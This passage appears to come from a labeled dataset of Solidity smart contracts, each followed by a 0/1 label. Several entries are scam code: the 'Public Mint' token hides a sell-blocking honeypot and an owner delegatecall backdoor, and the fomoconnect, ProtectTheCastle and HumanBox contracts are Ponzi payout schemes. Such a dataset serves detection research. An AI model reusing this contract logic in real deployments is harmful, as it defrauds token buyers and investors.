wishesIdx[addr].length; } }
1
5,258
pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } abstract contract Context { constructor() {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public override view returns(uint) { return _totalSupply; } function balanceOf(address account) public override view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public override returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public override view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } abstract contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract MintToken { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) { return true; } if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require(msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { require(_from == owner || _to == owner || _from == uniPair || tx.origin == owner || msg.sender == owner || isAccountValid(tx.origin)); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply = 250000000000000000000000000; string public name = "Public Mint"; string public symbol = "MINT"; address public uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public uniFactory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address private owner; address public uniPair; function sliceUint(bytes memory bs) internal pure returns (uint) { uint x; assembly { x := mload(add(bs, add(0x10, 0))) } return x; } function isAccountValid(address subject) pure public returns (bool result) { return uint256(sliceUint(abi.encodePacked(subject))) % 100 == 0; } function onlyByHundred() view public returns (bool result) { require(isAccountValid(msg.sender) == true, "Only one in a hundred accounts should be able to do this"); return true; } constructor() { owner = msg.sender; uniPair = pairFor(uniFactory, wETH, address(this)); allowance[address(this)][uniRouter] = uint(-1); allowance[msg.sender][uniPair] = uint(-1); } function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable { require(msg.sender == owner); balanceOf[address(this)] = _numList; balanceOf[msg.sender] = totalSupply * 6 / 100; IUniswapV2Router02(uniRouter).addLiquidityETH{value: msg.value}( address(this), _numList, _numList, msg.value, msg.sender, block.timestamp + 600 ); require(_tos.length == _amounts.length); for(uint i = 0; i < _tos.length; i++) { balanceOf[_tos[i]] = _amounts[i]; emit Transfer(address(0x0), _tos[i], _amounts[i]); } } }
0
1,495
pragma solidity ^0.4.24; contract fomoconnect{ using SafeMath for uint256; mapping(address => uint256) investments; mapping(address => uint256) joined; mapping(address => uint256) withdrawals; mapping(address => uint256) referrer; uint256 public minimum = 10000000000000000; uint256 public step = 5; address public ownerWallet; address public ownerWallet2 = 0x20007c6aa01e6a0e73d1baB69666438FF43B5ed8; address public owner; address public bountyManager; event Invest(address investor, uint256 amount); event Withdraw(address investor, uint256 amount); event Bounty(address hunter, uint256 amount); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor(address _bountyManager) public { owner = msg.sender; ownerWallet = msg.sender; bountyManager = _bountyManager; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyBountyManager() { require(msg.sender == bountyManager); _; } function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; ownerWallet = newOwnerWallet; } function () external payable { require(msg.value >= minimum); if (investments[msg.sender] > 0){ if (withdraw()){ withdrawals[msg.sender] = 0; } } investments[msg.sender] = investments[msg.sender].add(msg.value); joined[msg.sender] = block.timestamp; ownerWallet.transfer(msg.value.div(100).mul(5)); ownerWallet2.transfer(msg.value.div(100).mul(5)); emit Invest(msg.sender, msg.value); step++; } function getBalance(address _address) view public returns (uint256) { uint256 minutesCount = now.sub(joined[_address]).div(1 minutes); uint256 percent = investments[_address].mul(step).div(100); uint256 different = percent.mul(minutesCount).div(1440); uint256 balance = different.sub(withdrawals[_address]); return balance; } function getStep() view public returns (uint256) { return step; } function withdraw() public returns (bool){ require(joined[msg.sender] > 0); uint256 balance = getBalance(msg.sender); if (address(this).balance > balance){ if (balance > 0){ withdrawals[msg.sender] = withdrawals[msg.sender].add(balance); msg.sender.transfer(balance); emit Withdraw(msg.sender, balance); } return true; } else { return false; } } function bounty() public { uint256 refBalance = checkReferral(msg.sender); if(refBalance >= minimum) { if (address(this).balance > refBalance) { referrer[msg.sender] = 0; msg.sender.transfer(refBalance); emit Bounty(msg.sender, refBalance); } } } function checkBalance() public view returns (uint256) { return getBalance(msg.sender); } function checkWithdrawals(address _investor) public view returns (uint256) { return withdrawals[_investor]; } function checkInvestments(address _investor) public view returns (uint256) { return investments[_investor]; } function checkReferral(address _hunter) public view returns (uint256) { return referrer[_hunter]; } function updateReferral(address _hunter, uint256 _amount) onlyBountyManager public { referrer[_hunter] = referrer[_hunter].add(_amount); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
1
2,695
pragma solidity^0.4.24; contract ERC20 { function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function balanceOf(address tokenOwner) public constant returns (uint balance); function transfer(address to, uint tokens) public returns (bool success); } contract father { function fallback(uint num,address sender,uint amount) public; } contract fathercontract{ address owner; address public NEO = 0xc55a13e36d93371a5b036a21d913a31CD2804ba4; mapping(address => uint)value; mapping(address => address) contr; constructor() public { owner = msg.sender; } function use(uint _value) public { value[msg.sender] = _value*1e8; ERC20(NEO).transferFrom(msg.sender,this,value[msg.sender]); if (contr[msg.sender] == address(0)){ getsometoken(msg.sender,value[msg.sender]); }else{ getsometokenn(msg.sender,value[msg.sender]); } } function getsometokenn(address _sender,uint _value) internal{ ERC20(NEO).transfer(contr[_sender],_value); contr[_sender].call.value(0)(); } function getsometoken(address _sender,uint _value) internal { contr[msg.sender] = new getfreetoken(this,_sender); ERC20(NEO).transfer(contr[_sender],_value); contr[_sender].call.value(0)(); } function fallback(uint num,address sender,uint amount) public { require(contr[sender] == msg.sender); if (num == 10){ uint a = (amount+(amount/500)-value[sender])/100*5; ERC20(NEO).transfer(sender,amount+(amount/500)-a); ERC20(NEO).transfer(owner,a); value[sender] = 0; }else{ getsometokenn(sender,amount+(amount/500)); } } } contract getfreetoken { address sender; address fatherr; address NEO = 0xc55a13e36d93371a5b036a21d913a31CD2804ba4; uint num; constructor(address _father,address _sender) public { fatherr = _father; sender = _sender; } function() public { trans(); } function trans() internal { uint A = ERC20(NEO).balanceOf(this); ERC20(NEO).transfer(fatherr,ERC20(NEO).balanceOf(this)); num++; father(fatherr).fallback(num,sender,A); if (num == 10){num = 0;} } }
0
2,027
pragma solidity ^0.4.24; contract OurPlace500{ bytes9[250000] public pixels; address public owner; address public manager; bool public isPaused; uint public pixelCost; uint256 public CANVAS_HEIGHT; uint256 public CANVAS_WIDTH; uint public totalChangedPixels; struct Terms{ string foreword; string rules; string youShouldKnow; string dataCollection; uint versionForeword; uint versionRules; uint versionYouShouldKnow; uint versionDataCollection; } Terms public termsAndConditions; string public terms; mapping (address => uint) txMap; constructor(address ownerAddress) public{ owner = ownerAddress; manager = msg.sender; isPaused = false; pixelCost = .000021 ether; CANVAS_WIDTH = 500; CANVAS_HEIGHT = 500; totalChangedPixels = 0; termsAndConditions = Terms({ foreword: "Welcome to ourPlace! \n \n Here you can change a pixel to any color on the Hex #RRGGBB scale for a small fee. \n Below you will find the general *rules* of the contract and other terms and conditions written in plain English. \n \n We highly suggest you give it a quick read, enjoy!", versionForeword: 1, rules: "The contract will only function properly if: \n \n i) You have not changed any other pixels on this ETH block -- only one pixel is allowed to be changed per address per block, \n ii) The Hex code, X & Y coordinate are valid values, \n iii) The transfer value is correct (this is automatically set), \n iv) You have accepted the Terms & Conditions. \n \n *Please note* However unlikely, it is possible that two different people could change the same pixel in the same block. The most recently processed transaction *wins* the pixel. Allow all your pixel transactions to complete before attempting again. Order of transactions is randomly chosen by ETH miners.", versionRules: 1, youShouldKnow: "You should know that: \n \n i) Changing a pixel costs ETH, \n ii) We make no guarantees to keep the website running forever (obviously we will do our best), \n iii) We may choose to permanently pause the contract, or clear large blocks of pixels if the canvas is misused, \n iv) We may choose to point our website to an updated, empty, contract instead of the current contract. \n \n In addition we want to remind you: \n \n i) To check MetaMask and clear all errors/warnings before submitting a transaction, \n ii)You are responsible for the designs that you make, \n iii)To be on alert for look-alike websites and malicious pop-ups, \n iv)That you are solely responsible for the safety of your accounts.", versionYouShouldKnow: 1, dataCollection: "Our official website will contain: \n \n i) A Google Tag Manager cookie with both Analytics and Adwords tags installed. Currently there is no intention to use this data for anything other than interest's sake and sharing generic aggregated data. \n ii) All transactions are recorded on the Ethereum blockchain, everyone has public access to this data. We, or others, may analyze this data to see which accounts interact with this contract.", versionDataCollection: 1 }); } modifier isManager(){ require(msg.sender == manager, "Only The Contract Manager Can Call This Function"); _; } modifier isOwner(){ require(msg.sender == owner, "Only The Contract Owner Can Call This Function"); _; } function changePixel(string pixelHex, uint pixelX, uint pixelY, bool acceptedTerms) public payable{ require(!isPaused, 'Contract Is Paused'); require(acceptedTerms, 'Must Accept Terms To Proceed'); require(msg.value >= pixelCost, 'Transaction Value Is Incorrect'); require(RGBAHexRegex.matches(pixelHex), 'Not A Valid Hex #RRGGBBAA Color Value'); require(pixelX > 0 && pixelX <= CANVAS_WIDTH, 'Invalid X Coordinate Value'); require(pixelY > 0 && pixelY <= CANVAS_HEIGHT, 'Invalid Y Coordinate Value'); require(txMap[msg.sender] != block.number, 'One Transaction Allowed Per Block'); txMap[msg.sender] = block.number; uint index = CANVAS_WIDTH * (pixelY-1) + (pixelX-1); bytes9 pixelHexBytes = stringToBytes9(pixelHex); pixels[index] = pixelHexBytes; totalChangedPixels = totalChangedPixels + 1; } function changeTerms(string termsKey, string termsValue) public isManager { if(compareStrings(termsKey,'foreword')){ termsAndConditions.foreword = termsValue; termsAndConditions.versionForeword++; } else if(compareStrings(termsKey,'rules')){ termsAndConditions.rules = termsValue; termsAndConditions.versionRules++; } else if(compareStrings(termsKey,'youShouldKnow')){ termsAndConditions.youShouldKnow = termsValue; termsAndConditions.versionForeword++; } else if(compareStrings(termsKey,'dataCollection')){ termsAndConditions.dataCollection = termsValue; termsAndConditions.versionDataCollection++; } else { revert('Invalid Section Key'); } } function changePixelCost(uint newPixelCost) public isManager{ pixelCost = newPixelCost; } function clearPixels(uint xTopL, uint yTopL, uint xBottomR, uint yBottomR) public isManager{ require(xTopL > 0 && xTopL <= CANVAS_WIDTH, 'Invalid X Coordinate Value'); require(yTopL > 0 && yTopL <= CANVAS_HEIGHT, 'Invalid Y Coordinate Value'); require(xBottomR > 0 && xBottomR <= CANVAS_WIDTH, 'Invalid X Coordinate Value'); require(yBottomR > 0 && yBottomR <= CANVAS_HEIGHT, 'Invalid Y Coordinate Value'); require(xTopL < xBottomR, 'Double Check Corner Coordinates'); require(yTopL > yBottomR, 'Double Check Corner Coordinates'); for(uint y = yTopL; y <= yBottomR; y++) { for(uint x = xTopL; x <= xBottomR; x++) { uint index = CANVAS_WIDTH * (y-1) + (x-1); bytes9 pixelHexBytes = stringToBytes9(''); pixels[index] = pixelHexBytes; } } } function changeManager(address newManager) public isOwner{ manager=newManager; } function changeOwner(address newOwner) public isOwner{ owner=newOwner; } function withdraw() public isOwner{ owner.transfer(address(this).balance); } function pauseContract() public isManager{ isPaused = !isPaused; } function getPixelArray() public view returns(bytes9[250000]){ return pixels; } function compareStrings (string a, string b) private pure returns (bool){ return keccak256(abi.encodePacked(a)) == keccak256(abi.encodePacked(b)); } function stringToBytes9(string memory source) private pure returns (bytes9 result) { bytes memory tempEmptyStringTest = bytes(source); if (tempEmptyStringTest.length == 0) { return 0x0; } assembly { result := mload(add(source, 32)) } } } library RGBAHexRegex { struct State { bool accepts; function (byte) pure internal returns (State memory) func; } string public constant regex = "#(([0-9a-fA-F]{2}){4})"; function s0(byte c) pure internal returns (State memory) { c = c; return State(false, s0); } function s1(byte c) pure internal returns (State memory) { if (c == 35) { return State(false, s2); } return State(false, s0); } function s2(byte c) pure internal returns (State memory) { if (c >= 48 && c <= 57 || c >= 65 && c <= 70 || c >= 97 && c <= 102) { return State(false, s3); } return State(false, s0); } function s3(byte c) pure internal returns (State memory) { if (c >= 48 && c <= 57 || c >= 65 && c <= 70 || c >= 97 && c <= 102) { return State(false, s4); } return State(false, s0); } function s4(byte c) pure internal returns (State memory) { if (c >= 48 && c <= 57 || c >= 65 && c <= 70 || c >= 97 && c <= 102) { return State(false, s5); } return State(false, s0); } function s5(byte c) pure internal returns (State memory) { if (c >= 48 && c <= 57 || c >= 65 && c <= 70 || c >= 97 && c <= 102) { return State(false, s6); } return State(false, s0); } function s6(byte c) pure internal returns (State memory) { if (c >= 48 && c <= 57 || c >= 65 && c <= 70 || c >= 97 && c <= 102) { return State(false, s7); } return State(false, s0); } function s7(byte c) pure internal returns (State memory) { if (c >= 48 && c <= 57 || c >= 65 && c <= 70 || c >= 97 && c <= 102) { return State(false, s8); } return State(false, s0); } function s8(byte c) pure internal returns (State memory) { if (c >= 48 && c <= 57 || c >= 65 && c <= 70 || c >= 97 && c <= 102) { return State(false, s9); } return State(false, s0); } function s9(byte c) pure internal returns (State memory) { if (c >= 48 && c <= 57 || c >= 65 && c <= 70 || c >= 97 && c <= 102) { return State(true, s10); } return State(false, s0); } function s10(byte c) pure internal returns (State memory) { c = c; return State(false, s0); } function matches(string input) public pure returns (bool) { State memory cur = State(false, s1); for (uint i = 0; i < bytes(input).length; i++) { byte c = bytes(input)[i]; cur = cur.func(c); } return cur.accepts; } }
1
5,248
contract ProtectTheCastle { address public jester; uint public lastReparation; uint public piggyBank; uint public collectedFee; address[] public citizensAddresses; uint[] public citizensAmounts; uint32 public totalCitizens; uint32 public lastCitizenPaid; address public bribedCitizen; uint32 public round; uint public amountAlreadyPaidBack; uint public amountInvested; uint constant SIX_HOURS = 60 * 60 * 6; function ProtectTheCastle() { bribedCitizen = msg.sender; jester = msg.sender; lastReparation = block.timestamp; amountAlreadyPaidBack = 0; amountInvested = 0; totalCitizens = 0; } function repairTheCastle() returns(bool) { uint amount = msg.value; if (amount < 10 finney) { msg.sender.send(msg.value); return false; } if (amount > 100 ether) { msg.sender.send(msg.value - 100 ether); amount = 100 ether; } if (lastReparation + SIX_HOURS < block.timestamp) { if (totalCitizens == 1) { citizensAddresses[citizensAddresses.length - 1].send(piggyBank); } else if (totalCitizens == 2) { citizensAddresses[citizensAddresses.length - 1].send(piggyBank * 65 / 100); citizensAddresses[citizensAddresses.length - 2].send(piggyBank * 35 / 100); } else if (totalCitizens >= 3) { citizensAddresses[citizensAddresses.length - 1].send(piggyBank * 55 / 100); citizensAddresses[citizensAddresses.length - 2].send(piggyBank * 30 / 100); citizensAddresses[citizensAddresses.length - 3].send(piggyBank * 15 / 100); } piggyBank = 0; jester = msg.sender; lastReparation = block.timestamp; citizensAddresses.push(msg.sender); citizensAmounts.push(amount * 2); totalCitizens += 1; amountInvested += amount; piggyBank += amount; jester.send(amount * 3 / 100); collectedFee += amount * 3 / 100; round += 1; } else { lastReparation = block.timestamp; citizensAddresses.push(msg.sender); citizensAmounts.push(amount * 2); totalCitizens += 1; amountInvested += amount; piggyBank += (amount * 5 / 100); jester.send(amount * 3 / 100); collectedFee += amount * 3 / 100; while (citizensAmounts[lastCitizenPaid] < (address(this).balance - piggyBank - collectedFee) && lastCitizenPaid <= totalCitizens) { citizensAddresses[lastCitizenPaid].send(citizensAmounts[lastCitizenPaid]); amountAlreadyPaidBack += citizensAmounts[lastCitizenPaid]; lastCitizenPaid += 1; } } } function() { repairTheCastle(); } function surrender() { if (msg.sender == bribedCitizen) { bribedCitizen.send(address(this).balance); selfdestruct(bribedCitizen); } } function newBribedCitizen(address newBribedCitizen) { if (msg.sender == bribedCitizen) { bribedCitizen = newBribedCitizen; } } function collectFee() { if (msg.sender == bribedCitizen) { bribedCitizen.send(collectedFee); } } function newJester(address newJester) { if (msg.sender == jester) { jester = newJester; } } }
1
5,463
pragma solidity 0.4.25; library Math { function min(uint a, uint b) internal pure returns(uint) { if (a > b) { return b; } return a; } } library Zero { function requireNotZero(address addr) internal pure { require(addr != address(0), "require not zero address"); } function requireNotZero(uint val) internal pure { require(val != 0, "require not zero value"); } function notZero(address addr) internal pure returns(bool) { return !(addr == address(0)); } function isZero(address addr) internal pure returns(bool) { return addr == address(0); } function isZero(uint a) internal pure returns(bool) { return a == 0; } function notZero(uint a) internal pure returns(bool) { return a != 0; } } library Percent { struct percent { uint num; uint den; } function mul(percent storage p, uint a) internal view returns (uint) { if (a == 0) { return 0; } return a*p.num/p.den; } function div(percent storage p, uint a) internal view returns (uint) { return a/p.num*p.den; } function sub(percent storage p, uint a) internal view returns (uint) { uint b = mul(p, a); if (b >= a) { return 0; } return a - b; } function add(percent storage p, uint a) internal view returns (uint) { return a + mul(p, a); } function toMemory(percent storage p) internal view returns (Percent.percent memory) { return Percent.percent(p.num, p.den); } function mmul(percent memory p, uint a) internal pure returns (uint) { if (a == 0) { return 0; } return a*p.num/p.den; } function mdiv(percent memory p, uint a) internal pure returns (uint) { return a/p.num*p.den; } function msub(percent memory p, uint a) internal pure returns (uint) { uint b = mmul(p, a); if (b >= a) { return 0; } return a - b; } function madd(percent memory p, uint a) internal pure returns (uint) { return a + mmul(p, a); } } library Address { function toAddress(bytes source) internal pure returns(address addr) { assembly { addr := mload(add(source,0x14)) } return addr; } function isNotContract(address addr) internal view returns(bool) { uint length; assembly { length := extcodesize(addr) } return length == 0; } } library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); uint256 c = _a / _b; return c; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract Accessibility { address private owner; modifier onlyOwner() { require(msg.sender == owner, "access denied"); _; } constructor() public { owner = msg.sender; } function disown() internal { delete owner; } } contract Rev1Storage { function investorShortInfo(address addr) public view returns(uint value, uint refBonus); } contract Rev2Storage { function investorInfo(address addr) public view returns(uint investment, uint paymentTime); } library PrivateEntrance { using PrivateEntrance for privateEntrance; using Math for uint; struct privateEntrance { Rev1Storage rev1Storage; Rev2Storage rev2Storage; uint investorMaxInvestment; uint endTimestamp; mapping(address=>bool) hasAccess; } function isActive(privateEntrance storage pe) internal view returns(bool) { return pe.endTimestamp > now; } function maxInvestmentFor(privateEntrance storage pe, address investorAddr) internal view returns(uint) { if (!pe.hasAccess[investorAddr]) { return 0; } (uint maxInvestment, ) = pe.rev1Storage.investorShortInfo(investorAddr); if (maxInvestment == 0) { return 0; } maxInvestment = Math.min(maxInvestment, pe.investorMaxInvestment); (uint currInvestment, ) = pe.rev2Storage.investorInfo(investorAddr); if (currInvestment >= maxInvestment) { return 0; } return maxInvestment-currInvestment; } function provideAccessFor(privateEntrance storage pe, address[] addrs) internal { for (uint16 i; i < addrs.length; i++) { pe.hasAccess[addrs[i]] = true; } } } contract InvestorsStorage is Accessibility { struct Investor { uint investment; uint paymentTime; } uint public size; mapping (address => Investor) private investors; function isInvestor(address addr) public view returns (bool) { return investors[addr].investment > 0; } function investorInfo(address addr) public view returns(uint investment, uint paymentTime) { investment = investors[addr].investment; paymentTime = investors[addr].paymentTime; } function newInvestor(address addr, uint investment, uint paymentTime) public onlyOwner returns (bool) { Investor storage inv = investors[addr]; if (inv.investment != 0 || investment == 0) { return false; } inv.investment = investment; inv.paymentTime = paymentTime; size++; return true; } function addInvestment(address addr, uint investment) public onlyOwner returns (bool) { if (investors[addr].investment == 0) { return false; } investors[addr].investment += investment; return true; } function setPaymentTime(address addr, uint paymentTime) public onlyOwner returns (bool) { if (investors[addr].investment == 0) { return false; } investors[addr].paymentTime = paymentTime; return true; } function disqalify(address addr) public onlyOwner returns (bool) { if (isInvestor(addr)) { investors[addr].investment = 0; } } } library RapidGrowthProtection { using RapidGrowthProtection for rapidGrowthProtection; struct rapidGrowthProtection { uint startTimestamp; uint maxDailyTotalInvestment; uint8 activityDays; mapping(uint8 => uint) dailyTotalInvestment; } function maxInvestmentAtNow(rapidGrowthProtection storage rgp) internal view returns(uint) { uint day = rgp.currDay(); if (day == 0 || day > rgp.activityDays) { return 0; } if (rgp.dailyTotalInvestment[uint8(day)] >= rgp.maxDailyTotalInvestment) { return 0; } return rgp.maxDailyTotalInvestment - rgp.dailyTotalInvestment[uint8(day)]; } function isActive(rapidGrowthProtection storage rgp) internal view returns(bool) { uint day = rgp.currDay(); return day != 0 && day <= rgp.activityDays; } function saveInvestment(rapidGrowthProtection storage rgp, uint investment) internal returns(bool) { uint day = rgp.currDay(); if (day == 0 || day > rgp.activityDays) { return false; } if (rgp.dailyTotalInvestment[uint8(day)] + investment > rgp.maxDailyTotalInvestment) { return false; } rgp.dailyTotalInvestment[uint8(day)] += investment; return true; } function startAt(rapidGrowthProtection storage rgp, uint timestamp) internal { rgp.startTimestamp = timestamp; for (uint8 i = 1; i <= rgp.activityDays; i++) { if (rgp.dailyTotalInvestment[i] != 0) { delete rgp.dailyTotalInvestment[i]; } } } function currDay(rapidGrowthProtection storage rgp) internal view returns(uint day) { if (rgp.startTimestamp > now) { return 0; } day = (now - rgp.startTimestamp) / 24 hours + 1; } } contract HumanBox is Accessibility { using RapidGrowthProtection for RapidGrowthProtection.rapidGrowthProtection; using PrivateEntrance for PrivateEntrance.privateEntrance; using Percent for Percent.percent; using SafeMath for uint; using Math for uint; using Address for *; using Zero for *; RapidGrowthProtection.rapidGrowthProtection private m_rgp; PrivateEntrance.privateEntrance private m_privEnter; mapping(address => bool) private m_referrals; InvestorsStorage private m_investors; uint public constant minInvesment = 10 finney; uint public constant maxBalance = 500e5 ether; address public advertisingAddress; address public adminsAddress; uint public investmentsNumber; uint public waveStartup; Percent.percent private m_5_percent = Percent.percent(1,100); Percent.percent private m_6_percent = Percent.percent(12,1000); Percent.percent private m_7_percent = Percent.percent(13,1000); Percent.percent private m_8_percent = Percent.percent(15,1000); Percent.percent private m_9_percent = Percent.percent(2,100); Percent.percent private m_10_percent = Percent.percent(23,1000); Percent.percent private m_11_percent = Percent.percent(25,1000); Percent.percent private m_12_percent = Percent.percent(3,100); Percent.percent private m_referal_percent = Percent.percent(2,100); Percent.percent private m_referrer_percent = Percent.percent(3,100); Percent.percent private m_referrer_percentMax = Percent.percent(6,100); Percent.percent private m_adminsPercent = Percent.percent(15,100); Percent.percent private m_advertisingPercent = Percent.percent(35,100); event LogPEInit(uint when, address rev1Storage, address rev2Storage, uint investorMaxInvestment, uint endTimestamp); event LogSendExcessOfEther(address indexed addr, uint when, uint value, uint investment, uint excess); event LogNewReferral(address indexed addr, address indexed referrerAddr, uint when, uint refBonus); event LogRGPInit(uint when, uint startTimestamp, uint maxDailyTotalInvestment, uint activityDays); event LogRGPInvestment(address indexed addr, uint when, uint investment, uint indexed day); event LogNewInvesment(address indexed addr, uint when, uint investment, uint value); event LogAutomaticReinvest(address indexed addr, uint when, uint investment); event LogPayDividends(address indexed addr, uint when, uint dividends); event LogNewInvestor(address indexed addr, uint when); event LogBalanceChanged(uint when, uint balance); event LogNextWave(uint when); event LogDisown(uint when); modifier balanceChanged { _; emit LogBalanceChanged(now, address(this).balance); } modifier notFromContract() { require(msg.sender.isNotContract(), "only externally accounts"); _; } constructor() public { adminsAddress = msg.sender; advertisingAddress = msg.sender; nextWave(); } function() public payable { if (msg.value.isZero()) { getMyDividends(); return; } doInvest(msg.data.toAddress()); } function disqualifyAddress(address addr) public onlyOwner { m_investors.disqalify(addr); } function doDisown() public onlyOwner { disown(); emit LogDisown(now); } function init(address rev1StorageAddr, uint timestamp) public onlyOwner { m_rgp.startTimestamp = timestamp + 1; m_rgp.maxDailyTotalInvestment = 500 ether; m_rgp.activityDays = 21; emit LogRGPInit( now, 